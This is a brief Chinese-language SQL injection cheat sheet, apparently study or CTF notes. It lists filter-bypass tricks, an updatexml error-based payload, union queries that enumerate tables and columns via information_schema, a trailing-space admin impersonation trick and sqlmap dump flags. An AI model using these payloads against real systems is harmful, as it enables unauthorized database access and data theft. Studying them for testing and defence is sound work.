#Sql Injection

常用语法

  1. 注释:
  • – (注意后面必须要留空格,否则无法达到注释的效果;
  • #
  1. group_concat (连接字符串,一次性注入;

检测过滤字符

‘^(text)^’

如果text为假,那么页面就会显示正确,所以假如检测是否过滤union, 写入’^(length(union)==0)^’,如果正确就是过滤了

应对过滤字符

  1. 大小写绕过; 因为sql本身对大小写不敏感,也就是SELECT与 select本身是一致的,有的检查过松是可以通过大小写绕过的比如说 SeLEct
  2. 双写 ;因为很多情况下是将被过滤的字符替换为空,这种情况下就可以使用双写绕过,比如说 selselectect
  3. /**/ ;
  4. updatexml 报错注入;(最终内部细节与其他的基本一致;
  5. concat被过滤:make_set() lpad()、reverse()、repeat()、export_set()(lpad()、reverse()、repeat()等冷门字符串处理函数
  6. 使用运算符号; 运算符进行运算的时候会先观察左右两端的数据类型是否相同,不同的话就会进行数据强制的转换;所以如果知道是字符串的话,会被强制转换为0;
    1
    2
    select * from info where username=0; 
    select * from info where username='admin'-0-''; -->减法
1
2
* table: 
select * from info where id=-1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) ; --> updatexml 三个参数,不随表行数变化。

mysql 约束攻击

由于mysql对于字符串验证不严格,因而在检验时,’admin’与’admin ‘被认为是等价的,也就是说可以使非管理员用户以管理员身份读取数据库信息

##

database

1
select database();

table

1
select * from info where id=-1 union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database();

column

1
select * from info where id=-1 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='info';

Sqlmap

mysql

-r + ‘filename’
-p + ‘sqlinjection_name’ –dbs
-D + ‘database_name’ –tables
-T + ‘table_name’ –columns
-C + ‘column_name’ –dump